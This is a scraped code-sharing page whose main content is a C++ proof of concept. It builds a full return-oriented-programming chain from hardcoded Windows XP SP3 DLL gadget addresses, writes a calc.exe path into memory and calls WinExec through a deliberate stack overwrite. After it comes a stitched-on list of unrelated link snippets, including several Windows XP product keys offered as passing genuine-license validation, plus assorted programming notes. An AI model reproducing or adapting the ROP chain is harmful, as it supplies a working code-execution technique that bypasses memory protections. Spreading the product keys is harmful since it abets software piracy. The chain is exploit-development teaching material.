Windows XP PRO SP3 - Full ROP calc shellcode
/* Shellcode: Windows XP PRO SP3 - Full ROP calc shellcode Author: b33f (http://www.fuzzysecurity.com/) Notes: This is probably not the most efficient way but I gave the dll's a run for their money ;)) Greets: Donato, Jahmel OS-DLL's used: Base | Top | Size | Version (Important!) ___________|____________|____________|_____________________________ 0x7c800000 | 0x7c8f6000 | 0x000f6000 | 5.1.2600.5781 [kernel32.dll] 0x7c900000 | 0x7c9b2000 | 0x000b2000 | 5.1.2600.6055 [ntdll.dll] 0x7e410000 | 0x7e4a1000 | 0x00091000 | 5.1.2600.5512 [USER32.dll] UINT WINAPI WinExec( => PTR to WinExec __in LPCSTR lpCmdLine, => C:\WINDOWS\system32\calc.exe+00000000 __in UINT uCmdShow => 0x1 );*/#include <iostream>#include "windows.h"char shellcode[]="\xb1\x4f\x97\x7c" // POP ECX # RETN"\xf9\x10\x47\x7e" // Writable PTR USER32.dll"\x27\xfa\x87\x7c" // POP EDX # POP EAX # RETN"\x43\x3a\x5c\x57" // ASCII "C:\W""\x49\x4e\x44\x4f" // ASCII "INDO""\x04\x18\x80\x7c" // MOV DWORD PTR DS:[ECX],EDX # MOV DWORD PTR DS:[ECX+4],EAX # POP EBP # RETN 04"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xe5\x02\x88\x7c" // POP EAX # RETN"\x57\x53\x5c\x73" // ASCII "WS\s""\x38\xd6\x46\x7e" // MOV DWORD PTR DS:[ECX+8],EAX # POP ESI # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xe5\x02\x88\x7c" // POP EAX # RETN"\x79\x73\x74\x65" // ASCII "yste""\xcb\xbe\x45\x7e" // MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # INC EAX # POP ESI # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xe5\x02\x88\x7c" // POP EAX # RETN"\x63\x61\x6c\x63" // ASCII "calc""\x31\xa9\x91\x7c" // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\xe5\x02\x88\x7c" // POP EAX # RETN"\x6d\x33\x32\x5c" // ASCII "m32\""\xcb\xbe\x45\x7e" // MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # INC EAX # POP ESI # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xe5\x02\x88\x7c" // POP EAX # RETN"\x2e\x65\x78\x65" // ASCII ".exe""\x31\xa9\x91\x7c" // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x9e\x2e\x92\x7c" // XOR EAX,EAX # RETN"\x31\xa9\x91\x7c" // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN//-------------------------------------------["C:\WINDOWS\system32\calc.exe+00000000" -> ecx]-//"\xe5\x02\x88\x7c" // POP EAX # RETN"\x7a\xeb\xc3\x6f" // Should result in a valid PTR in kernel32.dll"\x4f\xda\x85\x7c" // PUSH ESP # ADC BYTE PTR DS:[EAX+CC4837C],AL # XOR EAX,EAX # INC EAX # POP EDI # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x32\xd9\x44\x7e" // XCHG EAX,EDI # RETN"\x62\x28\x97\x7c" // ADD EAX,20 # POP EBP # RETN"\x8a\x20\x87\x7c" // Compensate POP"\x62\x28\x97\x7c" // ADD EAX,20 # POP EBP # RETN"\x8a\x20\x87\x7c" // Compensate POP"\x62\x28\x97\x7c" // ADD EAX,20 # POP EBP # RETN"\x8a\x20\x87\x7c" // Compensate POP"\x62\x28\x97\x7c" // ADD EAX,20 # POP EBP # RETN"\x8a\x20\x87\x7c" // Compensate POP//-----------------------------------------------------------[Save Stack Pointer + pivot eax]-//"\xd6\xd1\x95\x7c" // MOV DWORD PTR DS:[EAX+10],ECX # POP EBP # RETN 04"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x33\x80\x97\x7c" // INC EAX # RETN"\x33\x80\x97\x7c" // INC EAX # RETN"\x33\x80\x97\x7c" // INC EAX # RETN"\x33\x80\x97\x7c" // INC EAX # RETN"\xf5\xd6\x91\x7c" // XOR ECX,ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\xd6\xd1\x95\x7c" // MOV DWORD PTR DS:[EAX+10],ECX # POP EBP # RETN 04"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xb1\x4f\x97\x7c" // POP ECX # RETN"\xed\x2a\x86\x7c" // WinExec()"\xe7\xc1\x87\x7c" // MOV DWORD PTR DS:[EAX+4],ECX # XOR EAX,EAX # POP EBP # RETN 04"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Final RETN for WinExec()"\x8a\x20\x87\x7c"; // Compensate WinExec()//------------------------------------------------------[Write Arguments and execute -> calc]-//void buff() { char a; memcpy((&a)+5, shellcode, sizeof(shellcode)); // Compiler dependent, works with Dev-C++ 4.9}int main(){ LoadLibrary("USER32.dll"); // we need this dll char buf[1024]; buff(); return 0;}Windows XP PRO SP3 - Full ROP calc shellcode的更多相关文章
- 原版Windows XP Pro With SP3 VOL MSDN简体中文专业版
2008年5月2日,微软推出Windows XP Pro With SP3 VOL MSDN x86 32位简体中文专业版,这是最经典也是我最喜爱的操作系统之一.在MSDN(微软开发者网络)的网站上查 ...
- Windows XP with SP3大客户免激活日文版
原贴地址:http://www.humin.com.cn/ja_windows_xp_professional_with_service_pack_3_x86_dvd_vl_x14-74058-iso ...
- Microsoft Windows XP SP3 官方原版镜像下载,绝对原版加系列号!
转:http://blog.sina.com.cn/s/blog_638c2e010100op5z.html 写在前面:1. VOL是Volume Licensing for Organization ...
- 最新的windows xp sp3序列号 xp序列号
最新的windows xp sp3序列号(绝对可通过正版验证) MRX3F-47B9T-2487J-KWKMF-RPWBY(工行版) 可用(强推此号) QC986-27D34-6M3TY-JJXP9- ...
- 最新的windows xp sp3序列号(绝对可通过正版验证)
MRX3F-47B9T-2487J-KWKMF-RPWBY(工行版) 可用(强推此号) QC986-27D34-6M3TY-JJXP9-TBGMD(台湾交大学生版) 可用 CM3HY-26VYW-6J ...
- 在虚拟机安装windows xp时所需要的序列号
最新的windows xp sp3序列号 xp序列号 最新的windows xp sp3序列号(绝对可通过正版验证) MRX3F-47B9T-2487J-KWKMF-RPWBY(工行版) 可用(强推 ...
- Windows XP系列全下载(均为MSDN原版)
正版windows xp sp3 下载大全(附:正版密钥) 微软MSDN Windows XP Professional下载 Windows XP Professional 简体中文 (最原始版本,无 ...
- Windows XP与Windows 7系统常见漏洞
1.Windows XP系统常见漏洞 Windows XP系统常见的漏洞有UPNP服务漏洞.升级程序漏洞.帮助和支持中心漏洞.压缩文件夹漏洞.服务拒绝漏洞.Windows Media Player漏洞 ...
- Windows XP Professional产品序列号
BX6HT-MDJKW-H2J4X-BX67W-TVVFG产品密钥:FCKGW-RHQQ2-YXRKT-8TG6W-2B7Q8产品密钥:CCC64-69Q48-Y3KWW-8V9GV-TVKRM Wi ...
随机推荐
- Win7_关闭休眠文件hiberfil.sys
1. C盘根目录下 hiberfil.sys 占用好几G空间,直接删 删不掉,也不推荐直接删. 2. 2.1.命令窗口中输入 powercfg -h off,即可关闭休眠功能,同时 Hiberfil. ...
- Linux_查看进程
1. 静态: ps -aux 2. 动态: top 3.
- js 返回上一页
--------2016-6-14 16:37:30-- source:[1]js返回上一页
- web设计经验<八>20个设计新手常犯的排版设计误区
很多同学问设哥,为什么别人字体就那么随意放一下就辣么好看,其实排版可有大学问,不是随意放就好看.这就如同配色一样,也有千变万化的学问.相信大家看完Designschool这篇头条热文,一定倍有收获. ...
- mysql 索引的原理
1.考虑下面的情况,mysql> desc student;+----------+-------------+------+-----+---------+-------+| Field | ...
- Android 图片Exif信息相关的获取与修改
1 Exif是什么 Exif是一种图像文件格式,它的数据存储于JPEG格式是完全相同的,实际上Exif格式就是JPEG格式头插入了 数码照片的信息,包括拍摄的光圈.快门.平衡白.ISO.焦距.日期时间 ...
- hdu 4055 && hdu 4489 动态规划
hdu 4055: 一开始我想的递推方向想得很复杂,看了别人的博客后才醍醐灌顶: 参照他的思路和代码: #include<cstdio> #include<cstring> # ...
- ajax请求成功或失败的参数
success:function(response, status, xhr){ }, error:function(xhr, errorText, errorType){ alert(errorTe ...
- Android 数据库升级解决方案
转自:http://blog.csdn.net/leehong2005/article/details/9128501 请考虑如下情况: 在数据库升级时,不同版本的数据库,他们定义的表结构完全可能是不 ...
- openfire过滤脏话插件,控制消息是否发送
参考:http://myopenfire.com/article/getarticle/9 package com.myopenfire.plugin; import java.io.File; im ...